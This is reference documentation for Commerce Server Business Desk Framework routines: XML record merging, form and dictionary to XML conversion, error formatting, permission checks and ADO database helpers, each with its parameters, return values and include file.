xmlMergeGroupsByID3 (client-side)

Server-Side Routines

xmlMergeGroups3 (server-side)


xmlMergeGroupsByID2 (client-side)

Use this routine to merge two sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. The other set of records, known as the detail set, contains more detailed information about the same set of entities. Both of these sets of records are contained in XML data-islands in the current document.

The records from each set are matched up and merged into a resulting set of records containing two tiers. The first tier contains the higher-level information, and the second tier contains the detailed information.

Definition

function xmlMergeGroupsByID2(sMaster,
                             sDetail,
                             sKeyId)

Parameters

sMaster
A string that matches the id attribute of an XML data-island containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
sDetail
A string that matches the id attribute of an XML data-island containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain more detailed information.
sKeyId
A string that corresponds to the name of a field element that exists in both of the XML data-islands whose id attributes are passed as the other parameters. The values for this element are used to match up records from one XML data-island with the records in the other.

Return Value

An XML DOMDocument object that contains the merged, two-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a two-tiered XML data record structure for use by a two-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to create two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

sMergeGroups2 (client-side)

sMergeGroups3 (client-side)

xmlMergeGroups2 (client-side)

xmlMergeGroups3 (client-side)

xmlMergeGroupsByID3 (client-side)

Server-Side Routines


xmlMergeGroupsByID3 (client-side)

Use this routine to merge three sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. A second set of records, known as the group set, contains more detailed information about the same set of entities. A third set of records, known as the detail set, contains the most detailed information about the same set of entities. All three sets of records are contained in XML data-islands in the current document.

The records from each set are matched up and merged into a resulting set of records containing three tiers. The first tier contains the higher-level information, the second tier contains the group level of detail, and the third tier contains the most detailed information.

Definition

function xmlMergeGroupsByID3(sMaster,
                             sGroup,
                             sDetail,
                             sMasterKeyId,
                             sDetailKeyId)

Parameters

sMaster
A string that matches the id attribute of an XML data-island containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
sGroup
A string that matches the id attribute of an XML data-island containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain information of a medium level of detail.
sDetail
A string that matches the id attribute of an XML data-island containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the third tier of the resulting standard XML data record format, and are considered to contain the most detailed information.
sMasterKeyId
A string that corresponds to the name of a field element that exists in both the xmlMaster and xmlGroup XML documents. The values for this element are used to match up records in one XML document with records in the other.
sDetailKeyId
A string that corresponds to the name of a field element that exists in both the xmlGroup and xmlDetail XML documents. The values for this element are used to match up records in one XML document with records in the other.

Return Value

An XML DOMDocument object that contains the merged, three-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a three-tiered XML data record structure for use by a three-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to create two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

sMergeGroups2 (client-side)

sMergeGroups3 (client-side)

xmlMergeGroups2 (client-side)

xmlMergeGroups3 (client-side)

xmlMergeGroupsByID2 (client-side)

Server-Side Routines


xmlPostFormViaXML (client-side)

Use this routine to post elements within the specified form element to the server as an XML document.

Definition

function xmlPostFormViaXML(byRef elForm)

Parameters

elForm
A form element on the page.

Return Value

An XML DOMDocument object returned from the page specified by the ACTION attribute of the form element.

Remarks

Converts form elements to XML where each element name becomes a name attribute and each element value becomes a value attribute on child item elements of the document. These items are posted to the action page as XML and then the routine returns any response XML.

This routine is useful when posting arguments to an HTTPXML response page.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

Server-Side Routines

dGetRequestXMLAsDict (server-side)


xmlXMLFromDict (client-side)

Use this routine to convert a Dictionary object into an XML document.

Definition

function xmlXMLFromDict(byRef dDict)

Parameters

dDict
A Dictionary object to be converted to XML.

Return Value

An XML DOMDocument object containing an item element for each entry in the Dictionary object.

Remarks

Each item element is given two attributes, name and value, initialized to the name and value of each entry in the Dictionary object, as follows:

<item name="keyname" value="value"/>

This routine is available in the include file HTTPXMLUtil.htm.

There is a functionally equivalent version of this routine defined for server-side use in the file HTTPXMLUtil.asp.

See Also

Client-Side Routines

xmlXMLFromForm (client-side)

Server-Side Routines

dDictFromXML (server-side)

xmlXMLFromDict (server-side)


xmlXMLFromForm (client-side)

Use this routine to convert form elements to items in an XML document.

Definition

function xmlXMLFromForm(byRef elForm)

Parameters

elForm
A form element on the page.

Return Value

An XML DOMDocument object containing the copied contents of the form elements.

Remarks

This routine converts the child elements of a form element to XML where each element name becomes a name attribute and each element value becomes a value attribute on child item elements of the document.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

xmlPostFormViaXML (client-side)

xmlXMLFromDict (client-side)

Server-Side Routines

xmlXMLFromDict (server-side)


Server-Side Routines

The Commerce Server Business Desk Framework defines the following server-side routines:

Routine Name | Description
AddCDATANode | Adds a CDATA type item node to the specified XML document. Defined in the file HTTPXMLUtil.asp.
AddErrorNode | Adds an error node to the specified XML document, causing the ListSheet HTC to display an error dialog box. Defined in the file HTTPXMLUtil.asp.
AddItemNode | Adds an item node to the specified XML document. Defined in the file HTTPXMLUtil.asp.
AddWarningNode | Adds a warning node to the specified XML document, causing the ListSheet HTC to display a warning dialog box. Defined in the file HTTPXMLUtil.asp.
bDenySecurityForTask | Returns permissions for the current user and the given task page and task.
bDenySecurityForElement | Returns permissions for the current user and the given entity, element, and right.
bInAdministratorGroup | Returns a Boolean that indicates whether the current user is in the Administrators group. Defined in the file ActionPageUtil.asp.
CheckSecurityForModule | Checks permissions for the current user and the given module, and redirects to the access error page if this user is denied access.
dDictFromXML | Converts a standard XML document into a Dictionary object. Defined in the file HTTPXMLUtil.asp.
dGetAction | Creates a Dictionary object and initializes it with the configuration information for a particular action page. Defined in the file ActionPageUtil.asp.
dGetRequestXMLAsDict | Returns the XML posted with a request as a Dictionary object. Defined in the file HTTPXMLUtil.asp.
FinishWithXMLSecurityError | Returns the XML security error and discontinue processing of the page.
GetSiteConfigField | Retrieves a value from the Site Configuration store. Defined in the file ASPUtil.asp.
InsertControlStylesheet | Inserts a style sheet for edit controls so that input can be in a different language than specified by the main style sheet. Defined in the file ActionPageUtil.asp.
InsertEditTaskBar | Causes Business Desk to display the action page in edit mode, with the navigation frame hidden, including the display of the task buttons and initial status message. Defined in the file ActionPageUtil.asp.
InsertTaskBar | Causes Business Desk to display the action page in list mode, with the navigation frame visible, including the display of the task buttons and initial status message. Defined in the file ActionPageUtil.asp.
oGetADOCommand | Creates and initializes an ADO Command object. Defined in the file DBUtil.asp.
oGetADOConnection | Creates and opens an ADO Connection object. Defined in the file DBUtil.asp.
rsGetRecordset | Retrieves an ADO Recordset object based on the specified connection string, query, cursor, and lock type. Defined in the file DBUtil.asp.
SetError | Saves server-side error information for synchronized display in the client. Defined in the file ASPUtil.asp.
sFormatString | Performs string formatting using a format string with variable insertion points, similar to the C++ printf function. Defined in the file ASPUtil.asp.
sGetADOError | Formats an ADO error into a string containing HTML table formatting directives. Defined in the file ASPUtil.asp.
sGetASPError | Formats an ASP error into a string containing HTML table formatting directives. Defined in the file ASPUtil.asp.
sGetErrorById | Retrieves an error message from the Message Manager. Defined in the file ASPUtil.asp.
sGetScriptError | Formats a script error into a string containing HTML table formatting directives. Defined in the file ASPUtil.asp.
sGetXMLError | Formats an XML error into a string containing HTML table formatting directives. Defined in the file ASPUtil.asp.
sMergeGroups2 | Merges two single-tiered XML documents in the standard XML data record format into a single two-tiered XML document in the same format, returning the result as a string. Defined in the file ASPUtil.asp.
sMergeGroups3 | Merges three single-tiered XML documents in the standard XML data record format into a single three-tiered XML document in the same format, returning the result as a string. Defined in the file ASPUtil.asp.
sRelURL2AbsURL | Converts a URL that is relative to the folder of an action page into its equivalent absolute URL. Defined in the file ASPUtil.asp.
xmlGetCurrencies | Retrieves an XML DOM object that contains information about various currencies. Defined in the file ASPUtil.asp.
xmlGetLanguages | Retrieves an XML DOM object that contains information about various languages. Defined in the file ASPUtil.asp.
xmlGetRequestXML | Returns the XML posted with a request as an XML DOMDocument object. Defined in the file HTTPXMLUtil.asp.
xmlGetResource | Loads and caches an XML DOM object that contains the contents of the specified XML file. Defined in the file ASPUtil.asp.
xmlGetXMLDOMDoc | Returns an empty XML DOMDocument object. Defined in the file HTTPXMLUtil.asp.
xmlGetXMLFromQuery | Creates an XML document node and populates it with record nodes corresponding to all of the records returned by the specified query. Defined in the file DBUtil.asp.
xmlGetXMLFromQueryEx | Creates an XML document node and populates it with record nodes corresponding to some or all of the records returned by the specified query. Defined in the file DBUtil.asp.
xmlGetXMLFromRS | Creates an XML document node and populates it with record nodes corresponding to all of the records in the specified ADO Recordset object. Defined in the file DBUtil.asp.
xmlGetXMLFromRSEx | Creates an XML document node and populates it with record nodes corresponding to some or all of the records in the specified ADO Recordset object. Defined in the file DBUtil.asp.
xmlMergeGroups2 | Merges two single-tiered XML documents in the standard XML data record format into a single two-tiered XML document in the same format, returning the result as an XML document node. Defined in the file ASPUtil.asp.
xmlMergeGroups3 | Merges three single-tiered XML documents in the standard XML data record format into a single three-tiered XML document in the same format, returning the result as an XML document node. Defined in the file ASPUtil.asp.
xmlXMLFromDict | Converts a Dictionary object into a standard XML document. Defined in the file HTTPXMLUtil.asp.

The following lists show server-side routines that are not intended to be called by module code, organized alphabetically and by the include file in which they appear:

ActionPageUtil.asp
dGetPermissionDict, InsertHelpIconBtn, InsertIconBtn, InsertIconBtns, InsertNonClientArea
ASPUtil.asp
dGetErrorDict, oGetAdminEventLog, sESCErrorText, sStripHTML
BizDeskObjects.asp
BDError, dGetCategory, DumpDict, DumpList, DumpResults, DumpSubObject, LoadActions, LoadCategories, LoadModuleConfigs, LoadModules, LoadObjects, LoadTasks, PutObjectsInApp, SetDumpStyles, sGetChildText, ShowProgress, sObjFormatString, ValidateActions, VBError, XMLError, xmlLoadConfig
DBUtil.asp
AddEmptyRecordNode, AddField, AddFormattedNode, sESCText, sStripGroupName
response_permissions.asp
setPermissions
response_session.asp
xmlGetResponseFromRequest, xmlGetResponseXML


AddCDATANode (server-side)

Use this routine to add a CDATA type item node to a global XML document, setting the name attribute and element data to the values passed.

Definition

sub AddCDATANode(byVal sName,
                 byVal sValue)

Parameters

sName
A string containing the name of the item.
sValue
A string containing the value of the item.

Return Value

None.

Remarks

The new item will be added to the XML document retrieved from the documentElement property of the DOMDocument object referenced by the global variable g_xmlReturn.

The string version of the added element has the following form:

<item name="sName"><![CDATA[sValue]]></item>

This routine is available in the include file HTTPXMLUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file HTTPXMLUtil.htm. Note that this other routine does not add the CDATA node to a globally accessible XML document, but instead is passed an xmlDoc parameter that references the XML document to which the node will be added.

See Also

Server-Side Routines

AddErrorNode (server-side)

AddItemNode (server-side)

AddWarningNode (server-side)

xmlGetXMLDOMDoc (server-side)

Client-Side Routines

AddCDATANode (client-side)


AddErrorNode (server-side)

Use this routine to add an ERROR element to the specified XML document.

Definition

sub AddErrorNode(byRef xmlDOMDoc,
                 byVal sId,
                 byVal sSource,
                 byVal sDetail)

Parameters

xmlDOMDoc
A reference to the XML DOMDocument object to which the ERROR element is added.
sId
A string containing a value for the id attribute of the element.
sSource
A string containing a value for the source attribute of the element.
sDetail
An HTML string containing the error details, assigned as the innerHTML of the element.

Return Value

None.

Remarks

This routine adds a node of the form:

<ERROR id="id" source="source">detail</ERROR>

This is the format expected by client routine ShowXMLNodeErrors.

This routine is available in the include file HTTPXMLUtil.asp.

See Also

Server-Side Routines

AddCDATANode (server-side)

AddItemNode (server-side)

AddWarningNode (server-side)

xmlGetXMLDOMDoc (server-side)

Client-Side Routines

ShowXMLNodeErrors (client-side)


AddItemNode (server-side)

Use this routine to add an item element to a global XML document, establishing name and value attributes using the passed parameters.

Definition

sub AddItemNode(byVal sName,
                byVal sValue)

Parameters

sName
A string containing a value for the name attribute of the item.
sValue
A string containing a value for the value attribute of the item.

Return Value

None.

Remarks

The new item will be added to the XML document retrieved from the documentElement property of the DOMDocument object referenced by the global variable g_xmlReturn.

The string version of the added element has the following form:

<item name="sName" value="sValue"/>

This routine is available in the include file HTTPXMLUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file HTTPXMLUtil.htm. Note that this other routine does not add the CDATA node to a globally accessible XML document, but instead is passed an xmlDoc parameter that references the XML document to which the node will be added.

See Also

Server-Side Routines

AddCDATANode (server-side)

AddErrorNode (server-side)

AddWarningNode (server-side)

xmlGetXMLDOMDoc (server-side)

Client-Side Routines

AddItemNode (client-side)


AddWarningNode (server-side)

Use this routine to add a WARNING element to the specified XML document.

Definition

sub AddWarningNode(byRef xmlDoc,
                   byVal sMessage)

Parameters

xmlDoc
A reference to the XML DOMDocument object to which the WARNING element is added.

A string containing the error details, assigned as the text of with the element.

sMessage
A string containing a warning message, assigned as the text of the element.

Return Value

None.

Remarks

This routine adds a node of the form:

<WARNING>sMessage</WARNING>

This routine is available in the include file HTTPXMLUtil.asp.

See Also

Server-Side Routines

AddCDATANode (server-side)

AddErrorNode (server-side)

AddItemNode (server-side)

xmlGetXMLDOMDoc (server-side)

Client-Side Routines


bDenySecurityForElement (server-side)

Use this routine to determine permissions for the current user and the given entity, element and right.

Definition

function bDenySecurityForElement(sEntity, sElement, sRight)

Parameters

sEntity
A String containing the entity ID.
sElement
A String containing the element ID.
sRight
A String containing the right ID.

Return Value

This routine returns True if the user is denied, and False if the user is allowed.

Remarks

This routine is available in the include file ServerSecurityUtil.asp.

See Also

Client-Side Routines


bDenySecurityForTask (server-side)

Use this routine to determine permissions for the current user and the given task page and task.

Definition

function bDenySecurityForTask(sTaskPage, sTaskID)

Parameters

sTaskPage
A String containing the page path relative to the Business Desk root directory.
sTaskID
A String containing the task ID from the module XML configuration.

Return Value

This routine returns True if the user is denied, and False if the user is allowed.

Remarks

The sTaskID must match the id attribute on the corresponding task node in the module XML configuration file of the module. The sTaskPage must match the action attribute on the corresponding goto or postto node under the corresponding task node.

This routine is available in the include file ServerSecurityUtil.asp.

See Also

Client-Side Routines


bInAdministratorGroup (server-side)

Use this routine to return a Boolean that indicates whether the current user is in the Administrators group.

Definition

function bInAdministratorGroup()

Parameters

None.

Return Value

A Boolean value indicating whether the current user is in the Administrators group. A return value of True indicates that the current user is an administrator, and a return value of False indicates that the current user is not an administrator.

Remarks

This routine is available in the include file ActionPageUtil.asp.

See Also

Server-Side Routines

Client-Side Routines


CheckSecurityForModule (server-side)

Use this routine to check permissions for the current user and the given module, and to redirect to the access error page if this user is denied access.

Definition

sub CheckSecurityforModule(sModuleID)

Parameters

sModuleID
A String containing the module ID.

Return Value

None.

Remarks

The sModuleID must match the id attribute on the corresponding module node in the module’s XML configuration file.

This routine is available in the include file ServerSecurityUtil.asp.

See Also

Client-Side Routines


dDictFromXML (server-side)

Use this routine to convert an XML document with child nodes of the form <item name="keyname" value="value"/> into a Dictionary object.

Definition

function dDictFromXML(byRef xmlDOMDoc)

Parameters

xmlDOMDoc
The XML DOMDocument object to be converted.

Return Value

A Dictionary object containing the converted XML document contents.

Remarks

Each name and value attribute becomes an entry in the Dictionary object where the name is the key and the value attribute contains the value.

This routine is available in the include file HTTPXMLUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file HTTPXMLUtil.htm.

See Also

Server-Side Routines

xmlXMLFromDict (server-side)

Client-Side Routines

dDictFromXML (client-side)

xmlXMLFromDict (client-side)


dGetAction (server-side)

Use this routine to create a Dictionary object containing the configuration information for an action page.

Definition

function dGetAction(byVal sLookupActionID)

Parameters

sLookupActionID
A string containing the action ID, which is the path and file name of the action page relative to the Commerce Server Business Desk root.

Return Value

A Dictionary object containing the action page configuration.

Remarks

This routine returns a Dictionary object containing all of the action page configuration information, such as name, tooltip, and associated tasks. The tasks associated with this action page are relatively complex, and are returned using a subordinate SimpleList object.

This routine is available in the include file ActionPageUtil.asp.

See Also

Server-Side Routines

Client-Side Routines


dGetRequestXMLAsDict (server-side)

Use this routine to retrieve the XML in a request as a Dictionary object.

Definition

function dGetRequestXMLAsDict()

Parameters

None.

Return Value

A Dictionary object containing the values expressed using XML in the request.

Remarks

This routine expects XML in the form that is posted by the client routine xmlPostFormViaXML. The Dictionary object returned can be treated like the Internet Information Services (IIS) Request object.

This routine is available in the include file HTTPXMLUtil.asp.

See Also

Server-Side Routines

dDictFromXML (server-side)

xmlGetRequestXML (server-side)

Client-Side Routines

xmlPostFormViaXML (client-side)


GetSiteConfigField (server-side)

Use this routine to retrieve a field value from the Site Configuration store.

Definition

function GetSiteConfigField(sResourceName,
                            sPropertyName)

Parameters

sResourceName
A string containing the name of the resource associated with the field being requested.
sPropertyName
A string containing the name of the property corresponding to the field being requested.

Return Value

The value currently associated with the sPropertyName property of the sResourceName resource in the Site Configuration store.

Remarks

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

Client-Side Routines


InsertControlStylesheet (server-side)

Use this routine to insert a style sheet for edit controls so that input can be in a different language than specified by the main style sheet.

Definition

sub InsertControlStylesheet(sLanguage)

Parameters

sLanguage
A string that specifies the name of the language-specific style sheet file to be used for the edit controls.

Return Value

None.

Remarks

The sLanguage parameter should be one of the file names shown in the following table, or the name of an equivalent file defined for another language and placed in the include\styles folder.

Style Sheet File | Description
chs_widgets.css | Style sheet for Chinese (Simplified) edit control input.
cht_widgets.css | Style sheet for Chinese (Traditional) edit control input.
en_widgets.css | Style sheet for English (Western Europe) edit control input.
jp_widgets.css | Style sheet for Japanese edit control input.
ko_widgets.css | Style sheet for Korean edit control input.

This routine is available in the include file ActionPageUtil.asp.

See Also

Server-Side Routines

Client-Side Routines

ChangeControlStylesheet (client-side)


InsertEditTaskBar (server-side)

Use this routine to insert the configured taskbar and display the page in edit mode, that is, with the module navigation frame hidden and the action page frame expanded to the left.

Definition

sub InsertEditTaskBar(sPageTitle,
                      sStatusText)

Parameters

sPageTitle
A string containing the text to be displayed in the title bar at the top of the expanded action page frame.
sStatusText
A string containing the text to be initially displayed in the status bar at the bottom of the expanded action page frame.

Return Value

None.

Remarks

The title bar and status bar are displayed in the color red, indicating that Commerce Server Business Desk is in edit mode, from which modification of data values can occur.

It is common for an action page to overwrite the initial status text using the routine SetStatusText.

This routine should be invoked immediately after the opening BODY element in the action page.

This routine is available in the include file ActionPageUtil.asp.

See Also

Server-Side Routines

InsertTaskBar (server-side)

Client-Side Routines


InsertTaskBar (server-side)

Use this routine to insert the configured taskbar and display the page in list mode, that is, with the module navigation frame visible to the left of the action page frame.

Definition

sub InsertTaskBar(sPageTitle,
                  sStatusText)

Parameters

sPageTitle
A string containing the text to be displayed in the title bar at the top of the action page frame.
sStatusText
A string containing the text to be initially displayed in the status bar at the bottom of the action page frame.

Return Value

None.

Remarks

The title bar and status bar are displayed in the color blue, indicating that Commerce Server Business Desk is in list mode, from which no modification of data values can occur.

It is common for an action page to overwrite the initial status text using the routine SetStatusText.

This routine should be invoked immediately after the opening BODY element in the action page.

This routine is available in the include file ActionPageUtil.asp.

See Also

Server-Side Routines

InsertEditTaskBar (server-side)

Client-Side Routines


oGetADOCommand (server-side)

Use this routine to create an ActiveX Data Object (ADO) Command object, and initialize it with the specified connection and command types.

Definition

function oGetADOCommand(oConn,
                        nCommandType)

Parameters

oConn
An ADO Connection object to be set as the active connection for the newly created Command object. This is usually the object returned from a call to the oGetADOConnection routine.
nCommandType
A number containing a valid value representing an ADO command type to be set for the newly created Command object.

Return Value

An ADO Command object, ready to use.

Remarks

The following constants for ADO parameter values are defined in the file DBUtil.asp:

Command Types
AD_CMD_TEXT

AD_CMD_TABLE

AD_CMD_STORED_PROC

AD_CMD_UNKNOWN

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

oGetADOConnection (server-side)

rsGetRecordset (server-side)

Client-Side Routines


oGetADOConnection (server-side)

Use this routine to create and open an ActiveX Data Object (ADO) connection, and establish connection and command timeouts of 15 and 30 seconds, respectively.

Definition

function oGetADOConnection(sConnectionString)

Parameters

sConnectionString
A string containing an ADO connection string describing the database with which to connect. This is usually a property retrieved from a resource in the Site Configuration Store using the GetSiteConfigField routine in the file ASPUtil.asp.

Return Value

An ADO Connection object, ready to use.

Remarks

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

oGetADOCommand (server-side)

rsGetRecordset (server-side)

Client-Side Routines


rsGetRecordset (server-side)

Use this routine to retrieve an ActiveX Data Object (ADO) recordset based on a specified connection string, query, and cursor and lock types.

Definition

function rsGetRecordset(sConnectionString,
                        sQuery,
                        nCursorType,
                        nLockType)

Parameters

sConnectionString
A string containing an ADO connection string describing the database with which to connect. This is usually a property retrieved from a resource in the Site Configuration Store using the GetSiteConfigField routine in the file ASPUtil.asp.
sQuery
A string containing a valid SQL query.
nCursorType
A number containing a valid value representing an ADO cursor type.
nLockType
A number containing a valid value representing an ADO lock type.

Return Value

An ADO Recordset object containing the results of the query.

Remarks

The following constants for ADO parameter values are defined in the file DBUtil.asp:

Cursor Types
AD_OPEN_FORWARD_ONLY

AD_OPEN_KEYSET

AD_OPEN_DYNAMIC

AD_OPEN_STATIC

Lock Types
AD_LOCK_READ_ONLY

AD_LOCK_PESSIMISTIC

AD_LOCK_OPTIMISTIC

AD_LOCK_BATCH_OPTIMISTIC

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

xmlGetXMLFromRS (server-side)

xmlGetXMLFromRSEx (server-side)

Client-Side Routines


SetError (server-side)

Use this routine to save information about errors that occur in server-side code for display to the user. The error information is saved in the Active Server Pages (ASP) Session object, and used to automatically call the client-side routine ShowErrorDialog the next time the taskbar is displayed.

Definition

sub SetError(byVal sErrorTitle,
             byVal sFriendlyError,
             byVal sErrorDetails,
             byVal nErrorType)

Parameters

sErrorTitle
A string to be displayed in the title bar of the error dialog box.
sFriendlyError
A string containing a plain-language description of the error that has been encountered.
sErrorDetails
A string containing details about the error that has been encountered, often formatted as an HTML table using one of the error formatting routines: sGetASPError, sGetADOError, sGetScriptError, or sGetXMLError. This string can also be formatted using other methods.
nErrorType
A number that corresponds to the severity of the error, and which determines the type of icon displayed in the error dialog box. See Remarks for more information about constants provided for use as this parameter.

Return Value

None.

Remarks

The following constants are provided as the valid values for the nErrorType parameter:

ERROR_ICON_ALERT, ERROR_ICON_CRITICAL,

ERROR_ICON_INFORMATION, ERROR_ICON_QUESTION

If the error type is ERROR_ICON_ALERT or ERROR_ICON_CRITICAL, then the error is logged to the application event log.

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

sGetADOError (server-side)

sGetASPError (server-side)

sGetErrorById (server-side)

sGetScriptError (server-side)

sGetXMLError (server-side)

Client-Side Routines

ShowXMLNodeErrors (client-side)


sFormatString (server-side)

Use this routine to insert arguments into a string in a manner similar to that used by the C++ printf function. It is useful for formatting strings in a way that is much easier to localize than some other hard-coded methods.

Definition

function sFormatString(byVal sFormat,
                             aArgs)

Parameters

sFormat
A string containing a combination of text and sequentially-numbered variables in the format %1, %2, and so forth. These variables are replaced with the elements from the corresponding positions in the aArgs array.
aArgs
An array of strings to be inserted into the string specified by the sFormat parameter, in the positions of the sequentially-numbered variables. Any extra arguments are ignored, and any extra variables in the string remain unchanged.

Return Value

A string containing the contents of the sFormat parameter with the appropriate substitutions performed.

Remarks

The following example shows how the string "A and B" is returned and assigned to the variable sFormattedString:

sFormattedString = sFormatString("%1 and %2", Array("A", "B"))

The returned string can easily be changed to "B and A" by changing the format string to "%2 and %1" (without changing the array at all).

The sFormat parameter is passed by value so that the original string is not modified.

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

Client-Side Routines

sFormatString (client-side)


sGetADOError (server-side)

Use this routine to format particular properties of an ADO Error object into an HTML table. The table includes the following property values from the object, in the order shown: number, description, source, SQLState, and NativeError. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine SetError.

Definition

function sGetADOError(oConnectionErrorsError)

Parameters

oConnectionErrorsError
The ADO Error object to be formatted.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The following is an example of the table to be displayed.

ADO Error
Number | 0x456
Description | xxx
Source | xxx
SQL state | xxx
Native error | xxx

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

SetError (server-side)

sGetASPError (server-side)

sGetScriptError (server-side)

sGetXMLError (server-side)

Client-Side Routines

sGetScriptError (client-side)


sGetASPError (server-side)

Use this routine to format particular properties of the object returned by a call to the Internet Information Services (IIS) routine GetLastError into an HTML table. The table includes the following property values from the object, in the order shown: number, description, source, helpFile, and helpContext. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine SetError.

Definition

function sGetASPError(oServerGetLastError)

Parameters

oServerGetLastError
The object returned by the IIS routine GetLastError, which this routine uses to format the HTML table.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The following is an example of the table to be displayed.

ASP Error
Asp code | xxx
Number | 345
Description | xxx
Source | xxx
File name | xxx
Line number | 432

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

SetError (server-side)

sGetADOError (server-side)

sGetScriptError (server-side)

sGetXMLError (server-side)

Client-Side Routines


sGetErrorById (server-side)

Use this routine to retrieve an error string from the global MessageManager object corresponding to a specific identifier. This routine is typically called to get a string to use as the sFriendlyError parameter of the routine SetError.

Definition

function sGetErrorById(sErrorId)

Parameters

sErrorId
A string that uniquely identifies a particular error string in the global MessageManager object.

Return Value

A string containing the retrieved error text.

Remarks

This routine helps enable simplified localization of a Web site by providing access to a centralized message store that can be localized independently from the code.

This routine retrieves strings from the global MessageManager object referenced by the global variable g_MSCSMessageManager.

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

SetError (server-side)

sFormatString (server-side)

Client-Side Routines


sGetScriptError (server-side)

Use this routine to format particular properties of a Microsoft Visual Basic Scripting Edition (VBScript) Err object into an HTML table. The table includes the following property values from the object, in the order shown: number, description, source, helpFile, and helpContext. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine SetError.

Definition

function sGetScriptError(oErr)

Parameters

oErr
The VBScript Err object to be formatted.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The following is an example of the table to be displayed.

Script Error
Number | 0x345
Description | xxx
Source | xxx
Help file | xxx
Help context | xxx

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

SetError (server-side)

sFormatString (server-side)

sGetADOError (server-side)

sGetASPError (server-side)

sGetXMLError (server-side)

Client-Side Routines

sGetScriptError (client-side)


sGetXMLError (server-side)

Use this routine to format particular properties of the XML parseError object into an HTML table. The table includes the following property values from the object, in the order shown: errorCode, filePos, line, linePos, reason, srcText, and URL. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine SetError.

Definition

function sGetXMLError(oXMLDocParseError)

Parameters

oXMLDocParseError
The XML parseError object to be formatted.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The XML parseError object is retrieved by calling the parseError method of an XML document.

The following is an example of the table to be displayed.

XML Error
Error code | 123
File pos | 456
Line | 789
Line pos | 123
Source text | xxx
URL | xxx

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

SetError (server-side)

sGetADOError (server-side)

sGetASPError (server-side)

sGetScriptError (server-side)

Client-Side Routines

sGetXMLError (client-side)


sMergeGroups2 (server-side)

Use this routine to merge two sets of XML records containing different information about the same entities, returning the result as an XML string.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. The other set of records, known as the detail set, contains more detailed information about the same set of entities. Both sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing two tiers. The first tier contains the higher-level information, and the second tier contains the detailed information.

Definition

function sMergeGroups2(xmlMaster,
                       xmlDetail,
                       sKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain more detailed information.
sKeyId
A string that corresponds to the name of a data element that exists in both of the XML documents passed as the other parameters. The values for this element are used to match up records from one XML document with the records in the other.

Return Value

A string that contains the merged, two-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a two-tiered XML data record structure for use by a two-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

